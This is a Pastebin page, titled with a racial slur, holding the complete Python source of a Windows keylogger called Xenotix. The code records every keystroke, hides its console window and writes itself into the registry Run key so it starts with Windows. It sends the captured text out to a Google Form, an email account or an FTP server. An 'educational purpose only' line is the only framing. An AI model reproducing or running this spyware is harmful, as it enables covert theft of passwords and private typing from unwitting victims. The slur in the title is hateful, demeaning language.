Advertisement
Guest User

nigger

a guest
Dec 8th, 2016
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.97 KB | None | 0 0
  1. NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
  2. '''
  3. try:
  4.    import pythoncom, pyHook
  5. except:
  6.    print "Please Install pythoncom and pyHook modules"
  7.    exit(0)
  8. import os
  9. import sys
  10. import threading
  11. import urllib,urllib2
  12. import smtplib
  13. import ftplib
  14. import datetime,time
  15. import win32event, win32api, winerror
  16. from _winreg import *
  17.  
  18. #Disallowing Multiple Instance
  19. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  20. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  21.    mutex = None
  22.    print "Multiple Instance not Allowed"
  23.    exit(0)
  24. x=''
  25. data=''
  26. count=0
  27.  
  28. #Hide Console
  29. def hide():
  30.    import win32console,win32gui
  31.    window = win32console.GetConsoleWindow()
  32.    win32gui.ShowWindow(window,0)
  33.    return True
  34.  
  35. def msg():
  36.    print """\n \nXenotix Python Keylogger for Windows
  37. Coder: Ajin Abraham <ajin25@gmail.com>
  38. OPENSECURITY.IN
  39. usage:xenotix_python_logger.py mode [optional:startup]
  40. mode:
  41.     local: store the logs in a file [keylogs.txt]
  42.    
  43.     remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  44.    
  45.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  46.    
  47.     ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  48. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  49.    return True
  50.  
  51. # Add to startup
  52. def addStartup():
  53.    fp=os.path.dirname(os.path.realpath(__file__))
  54.    file_name=sys.argv[0].split("\\")[-1]
  55.    new_file_path=fp+"\\"+file_name
  56.    keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  57.  
  58.    key2change= OpenKey(HKEY_CURRENT_USER,
  59.    keyVal,0,KEY_ALL_ACCESS)
  60.  
  61.    SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  62.  
  63. #Local Keylogger
  64. def local():
  65.    global data
  66.    if len(data)>100:
  67.        fp=open("keylogs.txt","a")
  68.        fp.write(data)
  69.        fp.close()
  70.        data=''
  71.    return True
  72.  
  73. #Remote Google Form logs post
  74. def remote():
  75.    global data
  76.    if len(data)>100:
  77.        url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  78.        klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  79.        try:
  80.            dataenc=urllib.urlencode(klog)
  81.            req=urllib2.Request(url,dataenc)
  82.            response=urllib2.urlopen(req)
  83.            data=''
  84.        except Exception as e:
  85.            print e
  86.    return True
  87.  
  88. #Email Logs
  89. class TimerClass(threading.Thread):
  90.    def __init__(self):
  91.        threading.Thread.__init__(self)
  92.        self.event = threading.Event()
  93.    def run(self):
  94.        while not self.event.is_set():
  95.            global data
  96.            if len(data)>100:
  97.                ts = datetime.datetime.now()
  98.                SERVER = "smtp.gmail.com" #Specify Server Here
  99.                PORT = 587 #Specify Port Here
  100.                USER="your_email@gmail.com"#Specify Username Here
  101.                PASS="password_here"#Specify Password Here
  102.                FROM = USER#From address is taken from username
  103.                TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  104.                SUBJECT = "Keylogger data: "+str(ts)
  105.                MESSAGE = data
  106.                message = """\
  107. From: %s
  108. To: %s
  109. Subject: %s
  110. %s
  111. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  112.                try:
  113.                    server = smtplib.SMTP()
  114.                    server.connect(SERVER,PORT)
  115.                    server.starttls()
  116.                    server.login(USER,PASS)
  117.                    server.sendmail(FROM, TO, message)
  118.                    data=''
  119.                    server.quit()
  120.                except Exception as e:
  121.                    print e
  122.            self.event.wait(120)
  123.  
  124. #Upload logs to FTP account
  125. def ftp():
  126.    global data,count
  127.    if len(data)>100:
  128.        count+=1
  129.        FILENAME="logs-"+str(count)+".txt"
  130.        fp=open(FILENAME,"a")
  131.        fp.write(data)
  132.        fp.close()
  133.        data=''
  134.        try:
  135.            SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  136.            USERNAME="ftp_username" #Specify your FTP Username
  137.            PASSWORD="ftp_password" #Specify your FTP Password
  138.            SSL=0 #Set 1 for SSL and 0 for normal connection
  139.            OUTPUT_DIR="/" #Specify output directory here
  140.            if SSL==0:
  141.                ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  142.            elif SSL==1:
  143.                ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  144.            ft.cwd(OUTPUT_DIR)
  145.            fp=open(FILENAME,'rb')
  146.            cmd= 'STOR' +' '+FILENAME
  147.            ft.storbinary(cmd,fp)
  148.            ft.quit()
  149.            fp.close()
  150.            os.remove(FILENAME)
  151.        except Exception as e:
  152.            print e
  153.    return True
  154.  
  155. def main():
  156.    global x
  157.    if len(sys.argv)==1:
  158.        msg()
  159.        exit(0)
  160.    else:
  161.        if len(sys.argv)>2:
  162.            if sys.argv[2]=="startup":
  163.                addStartup()
  164.            else:
  165.                msg()
  166.                exit(0)
  167.        if sys.argv[1]=="local":
  168.            x=1
  169.            hide()
  170.        elif sys.argv[1]=="remote":
  171.            x=2
  172.            hide()
  173.        elif sys.argv[1]=="email":
  174.            hide()
  175.            email=TimerClass()
  176.            email.start()
  177.        elif sys.argv[1]=="ftp":
  178.            x=4
  179.            hide()
  180.        else:
  181.            msg()
  182.            exit(0)
  183.    return True
  184.  
  185. if __name__ == '__main__':
  186.    main()
  187.  
  188. def keypressed(event):
  189.    global x,data
  190.    if event.Ascii==13:
  191.        keys='<ENTER>'
  192.    elif event.Ascii==8:
  193.        keys='<BACK SPACE>'
  194.    elif event.Ascii==9:
  195.        keys='<TAB>'
  196.    else:
  197.        keys=chr(event.Ascii)
  198.    data=data+keys
  199.    if x==1:  
  200.        local()
  201.    elif x==2:
  202.        remote()
  203.    elif x==4:
  204.        ftp()
  205.  
  206. obj = pyHook.HookManager()
  207. obj.KeyDown = keypressed
  208. obj.HookKeyboard()
  209. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement